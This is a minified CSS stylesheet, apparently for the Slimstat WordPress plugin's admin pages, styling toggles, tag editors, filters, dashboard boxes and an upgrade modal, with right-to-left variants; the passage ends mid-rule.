.bootstrap-switch-handle-on.bootstrap-switch-primary{color:#fff;background:#337ab7}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-info,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-info{color:#fff;background:#5bc0de}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-success,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-success{color:#fff;background:#e8294c}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-warning,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-warning{background:#f0ad4e;color:#fff}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-danger,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-danger{color:#fff;background:#d9534f}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default{color:#000;background:#eee}.bootstrap-switch .bootstrap-switch-label{text-align:center;margin-top:-1px;margin-bottom:-1px;z-index:100;color:#333;background:#fff}.bootstrap-switch .bootstrap-switch-handle-on{border-bottom-left-radius:3px;border-top-left-radius:3px}[dir=rtl] .bootstrap-switch .bootstrap-switch-handle-on{border-bottom-left-radius:0;border-top-left-radius:0;border-bottom-right-radius:3px;border-top-right-radius:3px}.bootstrap-switch .bootstrap-switch-handle-off{border-bottom-right-radius:3px;border-top-right-radius:3px}[dir=rtl] .bootstrap-switch .bootstrap-switch-handle-off{border-bottom-right-radius:0;border-top-right-radius:0;border-bottom-left-radius:3px;border-top-left-radius:3px}.bootstrap-switch input[type=radio],.bootstrap-switch input[type=checkbox]{position:absolute !important;top:0;left:0;margin:0;z-index:-1;opacity:0 !important;filter:alpha(opacity=0)}[dir=rtl] .bootstrap-switch input[type=radio],[dir=rtl] .bootstrap-switch input[type=checkbox]{left:auto;right:0}.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-label{padding:1px 5px;font-size:12px;line-height:1.5}.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-label{padding:5px 10px;font-size:12px;line-height:1.5}.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-label{padding:6px 16px;font-size:18px;line-height:1.3333333}.bootstrap-switch.bootstrap-switch-disabled,.bootstrap-switch.bootstrap-switch-indeterminate,.bootstrap-switch.bootstrap-switch-readonly{cursor:default !important}.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-label{opacity:.5;filter:alpha(opacity=50);cursor:default !important}.bootstrap-switch.bootstrap-switch-animate .bootstrap-switch-container{-webkit-transition:margin-left .5s;-o-transition:margin-left .5s;transition:margin-left .5s}[dir=rtl] .bootstrap-switch.bootstrap-switch-animate .bootstrap-switch-container{-webkit-transition:margin-right .5s;-o-transition:margin-right .5s;transition:margin-right .5s}.bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-on{border-radius:0 3px 3px 0}[dir=rtl] .bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-on{border-radius:3px 0 0 3px}.bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-off{border-radius:3px 0 0 3px}[dir=rtl] .bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-off{border-radius:0 3px 3px 0}.bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-off .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-label{border-bottom-right-radius:3px;border-top-right-radius:3px}[dir=rtl] .bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-off .bootstrap-switch-label,[dir=rtl] .bootstrap-switch.bootstrap-switch-on .bootstrap-switch-label{border-bottom-right-radius:0;border-top-right-radius:0;border-bottom-left-radius:3px;border-top-left-radius:3px}.bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-on .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-label{border-bottom-left-radius:3px;border-top-left-radius:3px}[dir=rtl] .bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-on .bootstrap-switch-label,[dir=rtl] .bootstrap-switch.bootstrap-switch-off .bootstrap-switch-label{border-bottom-left-radius:0;border-top-left-radius:0;border-bottom-right-radius:3px;border-top-right-radius:3px}.tag-editor{list-style-type:none;padding:0 5px 0 0;margin:0;overflow:hidden;border:1px solid #eee;cursor:text;font:normal 14px sans-serif;color:#555;background:#fff;line-height:20px}[dir=rtl] .tag-editor{padding:0 0 0 5px}.tag-editor li{display:block;float:left;overflow:hidden;margin:3px 0}[dir=rtl] .tag-editor li{float:right}.tag-editor div{float:left;padding:0 4px}[dir=rtl] .tag-editor div{float:right}.tag-editor .placeholder{padding:0 8px;color:#bbb}.tag-editor .tag-editor-spacer{padding:0;width:8px;overflow:hidden;color:rgba(0,0,0,0);background:none}[dir=rtl] .tag-editor .tag-editor-spacer{width:8px}.tag-editor input{vertical-align:inherit;border:0;outline:none;padding:0;margin:0;cursor:text;font-family:inherit;font-weight:inherit;font-size:inherit;font-style:inherit;box-shadow:none;background:none;color:#151515}.tag-editor-hidden-src{position:absolute !important;left:0;top:0;width:1px;height:1px;overflow:hidden;clip:rect(0 0 0 0);white-space:nowrap;padding:0;margin:0;border:0}[dir=rtl] .tag-editor-hidden-src{left:auto;right:0}.tag-editor ::-ms-clear{display:none}.tag-editor .tag-editor-tag{padding-left:5px;color:#46799b;background:#e0eaf1;white-space:nowrap;overflow:hidden;cursor:pointer;border-radius:2px 0 0 2px}[dir=rtl] .tag-editor .tag-editor-tag{padding-left:0;padding-right:5px;border-radius:0 2px 2px 0}.tag-editor .tag-editor-delete{background:#e0eaf1;cursor:pointer;border-radius:0 2px 2px 0;padding-left:3px;padding-right:4px}[dir=rtl] .tag-editor .tag-editor-delete{padding-left:4px;padding-right:3px;border-radius:2px 0 0 2px}.tag-editor .tag-editor-delete i{line-height:18px;display:inline-block}.tag-editor .tag-editor-delete i:before{font-size:16px;color:#8ba7ba;content:\"×\";font-style:normal}.tag-editor .tag-editor-delete:hover i:before{color:#d65454}.tag-editor .tag-editor-tag.active+.tag-editor-delete,.tag-editor .tag-editor-tag.active+.tag-editor-delete i{visibility:hidden;cursor:text}.tag-editor .tag-editor-tag.active{background:none !important}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default;font-size:14px}[dir=rtl] .ui-autocomplete{left:auto;right:0}.ui-front{z-index:9999}.ui-menu{list-style:none;padding:1px;margin:0;display:block;outline:none}.ui-menu .ui-menu-item a{text-decoration:none;display:block;padding:2px .4em;line-height:1.4;min-height:0}.ui-widget-content{border:1px solid #bbb;background:#fff;color:#555}.ui-widget-content a{color:#46799b}.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus{background:#e0eaf1}.ui-helper-hidden-accessible{display:none}.backdrop-container{position:relative;background-color:#f5f6fa}@media(min-width: 780px){.backdrop-container{margin-left:-20px;margin-top:-20px;padding-left:20px;padding-top:20px}[dir=rtl] .backdrop-container{margin-left:0;margin-right:-20px;padding-left:0;padding-right:20px}}.slimstat-filter-link .avatar{border-radius:50px;overflow:hidden;display:inline-block;transform:translateY(3px);margin-right:2px;border:solid 1px #fff}[dir=rtl] .slimstat-filter-link .avatar{margin-right:0;margin-left:2px}.wrap.slimstat-config,.wrap.slimstat{box-sizing:border-box;overflow:hidden}.wrap.slimstat-config *,.wrap.slimstat *{box-sizing:border-box;text-decoration:none}.wrap.slimstat-config .upgrade-pro-background,.wrap.slimstat .upgrade-pro-background{width:100%}.wrap.slimstat-config select:focus,.wrap.slimstat-config input:focus,.wrap.slimstat-config textarea:focus,.wrap.slimstat select:focus,.wrap.slimstat input:focus,.wrap.slimstat textarea:focus{outline:none;box-shadow:none;border-color:#e8294c !important}.wrap.slimstat-config .button-secondary,.wrap.slimstat .button-secondary{background-color:#fff;border-radius:50px;border:1px solid #e8294c;color:#e8294c;padding:0px 12px;height:auto}.wrap.slimstat-config .button-primary,.wrap.slimstat .button-primary{background-color:#e8294c;border-radius:50px;border:none;color:#fff;padding:0px 12px;height:auto}.wrap.slimstat-config #datepicker-backdrop,.wrap.slimstat #datepicker-backdrop{width:100vw;height:100vh;top:0;left:0;position:fixed;z-index:2;display:none}[dir=rtl] .wrap.slimstat-config #datepicker-backdrop,[dir=rtl] .wrap.slimstat #datepicker-backdrop{left:auto;right:0}.wrap.slimstat-config #slimstat-date-filters a.slimstat-filter-link,.wrap.slimstat #slimstat-date-filters a.slimstat-filter-link{background-color:#f8f8f8;display:block;float:left;margin:0 5px 5px 0;padding:7px 5px;width:123px;border-radius:50px;text-align:center;color:#151515;transition:.3s all ease-out}[dir=rtl] .wrap.slimstat-config #slimstat-date-filters a.slimstat-filter-link,[dir=rtl] .wrap.slimstat #slimstat-date-filters a.slimstat-filter-link{float:right;margin:0 0 5px 5px}.wrap.slimstat-config #slimstat-date-filters a.slimstat-filter-link:hover,.wrap.slimstat #slimstat-date-filters a.slimstat-filter-link:hover{background-color:#f3f3f3}.wrap.slimstat-config #slimstat-date-filters input,.wrap.slimstat-config #slimstat-date-filters select,.wrap.slimstat #slimstat-date-filters input,.wrap.slimstat #slimstat-date-filters select{border:2px solid #f3f3f3;border-radius:50px}.wrap.slimstat-config #slimstat-date-filters input[type=submit],.wrap.slimstat #slimstat-date-filters input[type=submit]{background-color:#e8294c;border:none;border-radius:50px;transition:.3s all ease-out}.wrap.slimstat-config #slimstat-date-filters input[type=submit]:hover,.wrap.slimstat #slimstat-date-filters input[type=submit]:hover{background-color:#000}.wrap.slimstat-config .button-primary.slimstat-settings-button,.wrap.slimstat .button-primary.slimstat-settings-button{background-color:#e8294c;color:#fff;border-radius:50px;border:none;transition:.3s all ease-out;padding-left:12px;padding-right:12px}[dir=rtl] .wrap.slimstat-config .button-primary.slimstat-settings-button,[dir=rtl] .wrap.slimstat .button-primary.slimstat-settings-button{padding-left:12px;padding-right:12px}.wrap.slimstat-config .button-primary.slimstat-settings-button:hover,.wrap.slimstat .button-primary.slimstat-settings-button:hover{background-color:#000}.wrap.slimstat-config h2,.wrap.slimstat h2{color:#000;font-weight:600;font-size:24px}.wrap.slimstat-config .nav-tabs,.wrap.slimstat .nav-tabs{display:flex;background-color:#fff;border-radius:5px;overflow-y:hidden}.wrap.slimstat-config .nav-tabs .nav-tab,.wrap.slimstat .nav-tabs .nav-tab{transition:.3s all ease-out;border:none;background-color:rgba(0,0,0,0);padding:0}.wrap.slimstat-config .nav-tabs .nav-tab a,.wrap.slimstat .nav-tabs .nav-tab a{color:#151515;font-size:14px;padding:15px 15px}.wrap.slimstat-config .nav-tabs .nav-tab a:focus,.wrap.slimstat .nav-tabs .nav-tab a:focus{outline:none;box-shadow:none}.wrap.slimstat-config .nav-tabs .nav-tab a:hover,.wrap.slimstat .nav-tabs .nav-tab a:hover{color:#e8294c}.wrap.slimstat-config .nav-tabs .nav-tab.nav-tab-active,.wrap.slimstat .nav-tabs .nav-tab.nav-tab-active{border-bottom:5px solid #e8294c}.wrap.slimstat-config .nav-tabs .nav-tab.nav-tab-active a,.wrap.slimstat .nav-tabs .nav-tab.nav-tab-active a{color:#e8294c}@media(max-width: 900px){.wrap.slimstat-config .nav-tabs,.wrap.slimstat .nav-tabs{overflow-x:scroll}}.wrap.slimstat-config .form-table,.wrap.slimstat .form-table{border:none;margin-top:25px;border-radius:10px;width:100%;max-width:100%;border-collapse:separate;table-layout:auto}.wrap.slimstat-config .form-table tr:first-of-type .slimstat-options-section-header,.wrap.slimstat .form-table tr:first-of-type .slimstat-options-section-header{border-radius:10px 10px 0 0}.wrap.slimstat-config .form-table tr,.wrap.slimstat .form-table tr{border-bottom:1px solid #eee}.wrap.slimstat-config .form-table tr.alternate,.wrap.slimstat .form-table tr.alternate{background-color:#fff}.wrap.slimstat-config .form-table tr th,.wrap.slimstat .form-table tr th{padding:25px 20px;color:#151515;min-width:0;white-space:normal;word-break:break-word;overflow-wrap:anywhere}.wrap.slimstat-config .form-table tr td,.wrap.slimstat .form-table tr td{padding:25px 20px;color:#151515;min-width:0;white-space:normal;word-break:break-word;overflow-wrap:anywhere}.wrap.slimstat-config .form-table tr td input,.wrap.slimstat .form-table tr td input{border:2px solid #f3f3f3;border-radius:50px;max-width:100%}.wrap.slimstat-config .form-table tr td textarea,.wrap.slimstat .form-table tr td textarea{border:2px solid #f3f3f3;border-radius:10px;max-width:100%}.wrap.slimstat-config .form-table tr td select,.wrap.slimstat .form-table tr td select{border:2px solid #f3f3f3;border-radius:50px;max-width:100%}.wrap.slimstat-config .form-table tr td .button-primary,.wrap.slimstat .form-table tr td .button-primary{border:1px solid #e8294c;color:#e8294c;background-color:#fff;border-radius:50px;max-width:100%}.wrap.slimstat-config .form-table tr td a,.wrap.slimstat-config .form-table tr td code,.wrap.slimstat-config .form-table tr td pre,.wrap.slimstat-config .form-table tr td .description,.wrap.slimstat .form-table tr td a,.wrap.slimstat .form-table tr td code,.wrap.slimstat .form-table tr td pre,.wrap.slimstat .form-table tr td .description{white-space:normal;word-break:break-word;overflow-wrap:anywhere;max-width:100%}.wrap.slimstat-config .form-table tr td .tag-editor,.wrap.slimstat .form-table tr td .tag-editor{border-radius:6px;padding:6px 4px}.wrap.slimstat-config .form-table tr td .tag-editor .tag-editor-tag,.wrap.slimstat .form-table tr td .tag-editor .tag-editor-tag{color:#e8294c;background-color:#fff4f5}.wrap.slimstat-config .form-table tr td .tag-editor .tag-editor-delete,.wrap.slimstat .form-table tr td .tag-editor .tag-editor-delete{color:#e8294c;background-color:#fff4f5}.wrap.slimstat-config .form-table tr td .tag-editor .tag-editor-delete i::before,.wrap.slimstat .form-table tr td .tag-editor .tag-editor-delete i::before{color:#e8294c}.wrap.slimstat-config .form-table tr td .bootstrap-switch-wrapper,.wrap.slimstat .form-table tr td .bootstrap-switch-wrapper{border:2px solid #f3f3f3;border-radius:50px}.wrap.slimstat-config .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-on,.wrap.slimstat .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-on{border-radius:50px;padding:5px 0px}.wrap.slimstat-config .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-off,.wrap.slimstat .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-off{border-radius:50px;padding:5px 0px;background-color:#f8f8f8;color:#151515}.wrap.slimstat-config .form-table tr .description,.wrap.slimstat .form-table tr .description{color:#616060;margin-top:7px;display:block;word-wrap:break-word;max-width:100%}.wrap.slimstat-config .slimstat-options-section-header,.wrap.slimstat .slimstat-options-section-header{background-color:#f8f8f8;padding:20px 20px;font-weight:500;color:#151515;font-size:16px}.wrap.slimstat-config #slimstat-filters,.wrap.slimstat #slimstat-filters{display:flex;align-items:center;justify-content:flex-start;flex-wrap:wrap;margin-bottom:5px}.wrap.slimstat-config #slimstat-filters .form-field,.wrap.slimstat #slimstat-filters .form-field{position:relative}.wrap.slimstat-config #slimstat-filters select,.wrap.slimstat #slimstat-filters select{border:1px solid #eee;border-radius:5px;display:block;width:100%;margin:0;appearance:none;-webkit-appearance:none;-moz-appearance:none;background-image:url(\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' width='16' height='16' viewBox='0 0 16 16'%3E%3Cpolyline points='4 6 8 10 12 6' fill='none' stroke='%23666' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");background-repeat:no-repeat;background-position:right 8px center;padding-right:32px}.wrap.slimstat-config #slimstat-filters input,.wrap.slimstat #slimstat-filters input{border:1px solid #eee;border-radius:5px;display:block;width:100%;margin:0;max-width:95%}.wrap.slimstat-config #slimstat-filters input[type=submit],.wrap.slimstat #slimstat-filters input[type=submit]{border:1px solid #e8294c;background-color:#fff;color:#e8294c;width:auto}[dir=rtl] .wrap.slimstat-config #slimstat-filters input[type=submit],[dir=rtl] .wrap.slimstat #slimstat-filters input[type=submit]{margin-left:0;margin-right:0}@media(max-width: 400px){.wrap.slimstat-config #slimstat-filters,.wrap.slimstat #slimstat-filters{margin-bottom:12px}.wrap.slimstat-config #slimstat-filters .form-field,.wrap.slimstat #slimstat-filters .form-field{flex:0 0 50%;margin-bottom:10px}}.wrap.slimstat-config .meta-box-sortables form,.wrap.slimstat .meta-box-sortables form{display:none}.wrap.slimstat-config .meta-box-sortables .postbox,.wrap.slimstat .meta-box-sortables .postbox{border:solid 1px #f0f0f0;border-radius:10px;margin-right:.5%}[dir=rtl] .wrap.slimstat-config .meta-box-sortables .postbox,[dir=rtl] .wrap.slimstat .meta-box-sortables .postbox{margin-right:0;margin-left:.5%}.wrap.slimstat-config .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner,.wrap.slimstat .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner{display:inline-block;float:none;margin-right:3px;cursor:help}.wrap.slimstat-config .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner::before,.wrap.slimstat .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner::before{color:#aaa;transform:scaleX(-1);display:block}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons{padding:15px 10px 0 10px;display:flex;align-items:center;justify-content:flex-end;float:right}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons .dashicons,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons .dashicons{width:auto;height:auto}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a:focus,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a:focus{box-shadow:none}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.refresh,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.refresh{padding:5px 5px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.refresh::before,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.refresh::before{transform:translateY(-1px);display:block;color:#616060;transition:.3s all ease-out}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download{padding:5px 5px;border-radius:5px;font-weight:700;font-size:12px;line-height:100%;letter-spacing:0px;color:#676e74;transition:.3s all ease-out;cursor:pointer;position:relative;top:0px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover{color:#202224}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover span.dashicons::before,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover span.dashicons::before{color:#202224}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before{color:#676e74;font-size:14px;margin-right:2px;display:block;transform:translateY(1px);transition:.3s all ease-out}[dir=rtl] .wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons,[dir=rtl] .wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons{float:left}[dir=rtl] .wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before,[dir=rtl] .wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before{margin-right:0px;margin-left:3px}.wrap.slimstat-config .meta-box-sortables .postbox h3,.wrap.slimstat .meta-box-sortables .postbox h3{background-color:#fff;color:#202224;padding:18px 15px;border:none;font-size:16px;font-weight:bold;letter-spacing:-0.43px}.wrap.slimstat-config .meta-box-sortables .postbox h3 .header-tooltip,.wrap.slimstat .meta-box-sortables .postbox h3 .header-tooltip{margin:0px 5px;display:inline-block;transform:translateY(3px)}.wrap.slimstat-config .meta-box-sortables .postbox h3 .header-tooltip:hover svg path,.wrap.slimstat .meta-box-sortables .postbox h3 .header-tooltip:hover svg path{fill:#202224}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-browser-icon,.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-flag-icon,.wrap.slimstat-config .meta-box-sortables .postbox span.slimstat-flag-container,.wrap.slimstat .meta-box-sortables .postbox .slimstat-browser-icon,.wrap.slimstat .meta-box-sortables .postbox .slimstat-flag-icon,.wrap.slimstat .meta-box-sortables .postbox span.slimstat-flag-container{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-author-link img,.wrap.slimstat .meta-box-sortables .postbox .slimstat-author-link img{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap,.wrap.slimstat .meta-box-sortables .postbox .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap{z-index:0 !important;position:absolute;display:block;width:calc(100% - 30px);height:100%;top:0;left:0;margin:0px 15px;box-sizing:border-box}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-tooltip-trigger *,.wrap.slimstat .meta-box-sortables .postbox .slimstat-tooltip-trigger *{z-index:2 !important;position:relative}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-tooltip-trigger a,.wrap.slimstat .meta-box-sortables .postbox .slimstat-tooltip-trigger a{max-width:80%;display:inline-block;color:#202224;font-weight:600;vertical-align:top;font-size:12px}.wrap.slimstat-config p.slimstat-tooltip-trigger,.wrap.slimstat p.slimstat-tooltip-trigger{border:none !important;margin-bottom:8px}.wrap.slimstat-config .pagination,.wrap.slimstat .pagination{color:#6f7478;position:absolute;left:0;bottom:0;background-color:#fff;z-index:2;width:100%;padding:10px 15px}.wrap.slimstat-config a.refresh.slimstat-font-angle-double-right,.wrap.slimstat-config a.refresh.slimstat-font-angle-right,.wrap.slimstat-config a.refresh.slimstat-font-angle-double-left,.wrap.slimstat-config a.refresh.slimstat-font-angle-left,.wrap.slimstat a.refresh.slimstat-font-angle-double-right,.wrap.slimstat a.refresh.slimstat-font-angle-right,.wrap.slimstat a.refresh.slimstat-font-angle-double-left,.wrap.slimstat a.refresh.slimstat-font-angle-left{width:24px;border:solid 1px #dadce0;height:24px;padding:0;border-radius:50%;text-align:center;vertical-align:middle}.wrap.slimstat-config a.refresh.slimstat-font-angle-double-right:before,.wrap.slimstat-config a.refresh.slimstat-font-angle-right:before,.wrap.slimstat-config a.refresh.slimstat-font-angle-double-left:before,.wrap.slimstat-config a.refresh.slimstat-font-angle-left:before,.wrap.slimstat a.refresh.slimstat-font-angle-double-right:before,.wrap.slimstat a.refresh.slimstat-font-angle-right:before,.wrap.slimstat a.refresh.slimstat-font-angle-double-left:before,.wrap.slimstat a.refresh.slimstat-font-angle-left:before{color:#676e74 !important;font-size:13px}.wrap.slimstat-config span.slimstat-tooltip-bar,.wrap.slimstat span.slimstat-tooltip-bar{display:block;height:100%;max-width:100% !important;position:absolute !important;top:0;left:0;background-color:var(--box-bar-color);border-radius:6px}.wrap.slimstat-config .slimScrollDiv p,.wrap.slimstat .slimScrollDiv p{padding:10px 25px}.wrap.slimstat-config .slimScrollDiv p.header,.wrap.slimstat .slimScrollDiv p.header{border:none}.wrap.slimstat-config .slimScrollDiv code,.wrap.slimstat .slimScrollDiv code{border-radius:3px;background-color:#fff;padding:3px 7px}.wrap.slimstat table.widefat{border:none}.wrap.slimstat table.widefat tbody tr:nth-child(even){background-color:#f8f8f8}.wrap.slimstat table.widefat tbody tr td{vertical-align:middle}.wrap.slimstat table.widefat thead{background-color:#fff4f5}.wrap.slimstat table.widefat thead th{white-space:nowrap;border:none;border-top:1px solid #e8294c;border-bottom:1px solid #e8294c;color:#000;padding:8px 10px;vertical-align:middle}.wrap.slimstat table.widefat thead th a{color:#e8294c}.slimstat-header{padding:30px 25px;margin-bottom:20px;background-color:#2b2b2b;display:flex;align-items:center;justify-content:flex-start;position:relative;margin-left:-20px;box-sizing:border-box}[dir=rtl] .slimstat-header{margin-left:0;margin-right:-20px;justify-content:flex-end}.slimstat-header .logo{width:180px;height:auto}.slimstat-header .vr-line{background-color:#9a9a9a;margin:0 40px;display:block;width:1px;height:40px}.slimstat-header .go-pro{text-align:left}[dir=rtl] .slimstat-header .go-pro{text-align:right}.slimstat-header .go-pro a{display:flex;align-items:center;justify-content:flex-start;margin-bottom:3px;color:#fff;text-decoration:none;font-size:15px;font-weight:400;cursor:pointer}[dir=rtl] .slimstat-header .go-pro a{justify-content:flex-end}.slimstat-header .go-pro a .icon{background:url(\"..\u002Fimages\u002Fwhite-right-chevron.png\") no-repeat center center\u002Fcontain;width:10px;height:10px;margin-left:5px;display:block}[dir=rtl] .slimstat-header .go-pro a .icon{margin-left:0;margin-right:5px;transform:scaleX(-1)}.slimstat-header .go-pro p{text-align:left;font-weight:300;color:#fff;margin:0}[dir=rtl] .slimstat-header .go-pro p{text-align:right}.slimstat-header .pro-badge{display:flex;align-items:center;justify-content:flex-start;position:absolute;right:20px;bottom:20px;color:#fff}[dir=rtl] .slimstat-header .pro-badge{right:auto;left:20px;justify-content:flex-end}.slimstat-header .pro-badge p{margin:0}.slimstat-header .pro-badge .icon{background:url(\"..\u002Fimages\u002Fpro-badge.png\") no-repeat center center\u002Fcontain;width:16px;height:16px;margin-right:7px;display:block}[dir=rtl] .slimstat-header .pro-badge .icon{margin-right:0;margin-left:7px}[dir=rtl] .slimstat-header{margin-right:-20px;margin-left:0}[dir=rtl] .slimstat-header .pro-badge{right:auto;left:20px}[dir=rtl] .slimstat-header .pro-badge .icon{margin-left:7px;margin-right:0}[dir=rtl] .slimstat-header .go-pro a .icon{background:url(..\u002Fimages\u002Fwhite-right-chevron.png) no-repeat center center\u002Fcontain;margin-left:0px;margin-right:5px;transform:scaleX(-1)}[dir=rtl] .slimstat-header .go-pro p{text-align:right}@media(max-width: 500px){.slimstat-header{display:block}.slimstat-header .vr-line{margin:20px 0;width:100%;height:1px}.slimstat-header .go-pro{margin-top:20px}.slimstat-header .pro-badge{right:10px}[dir=rtl] .slimstat-header .pro-badge{left:10px;right:auto}}.slimstat-layout{position:relative}.slimstat-layout .postbox-container{border:solid 1px #f0f0f0}.slimstat-layout .postbox-container:has(.ui-sortable-placeholder){border:dashed 1px #ff8080}.slimstat-layout .postbox-container .meta-box-sortables,.slimstat-layout .postbox-container h2{background-color:#fff !important;color:#202224;padding:18px 15px;font-size:16px !important;font-weight:bold !important;letter-spacing:-0.43px}.slimstat-layout .postbox{border-radius:8px !important;box-shadow:none !important;background-color:#fff}.slimstat-layout .postbox h3{font-weight:400 !important;padding:12px 15px !important;background-color:#f1f1f1 !important;font-size:14px !important}#dashboard-widgets-wrap .postbox .slimstat-tooltip-trigger.corner{display:inline-block;float:none;margin-right:3px;cursor:help}#dashboard-widgets-wrap .postbox .slimstat-tooltip-trigger.corner::before{color:#aaa;display:block;transform:scaleX(-1)}.slimstat-pro-modal-backdrop{position:absolute;top:0;left:0;width:100%;height:100%;backdrop-filter:blur(3px);background-color:hsla(0,0%,100%,.5);z-index:20;display:none}.slimstat-pro-modal{position:fixed;z-index:30;transform:translateX(-50%);background-color:#fff;border-radius:25px;box-shadow:0px 4px 80px rgba(0,0,0,.15);padding:40px 4%;text-align:center;box-sizing:border-box;max-width:720px;margin-top:100px;left:50%;transform:translate(-50%, 0);top:45%;transform:translateX(-50%) translateY(-50%)}[dir=rtl] .slimstat-pro-modal{transform:translateX(50%) translateY(-50%)}.slimstat-pro-modal *{margin:0;padding:0;box-sizing:border-box}.slimstat-pro-modal #slimstat-pro-modal-close{position:absolute;cursor:pointer;top:30px;right:10%;width:30px;height:30px;opacity:.3;transition:.3s all ease-out;background:url(\"data:image\u002Fsvg+xml,%3Csvg width='33' height='32' viewBox='0 0 33 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M16.6172 31.1641C24.9015 31.1641 31.6172 24.4483 31.6172 16.1641C31.6172 7.87979 24.9015 1.16406 16.6172 1.16406C8.33292 1.16406 1.61719 7.87979 1.61719 16.1641C1.61719 24.4483 8.33292 31.1641 16.6172 31.1641Z' stroke='%23222222' 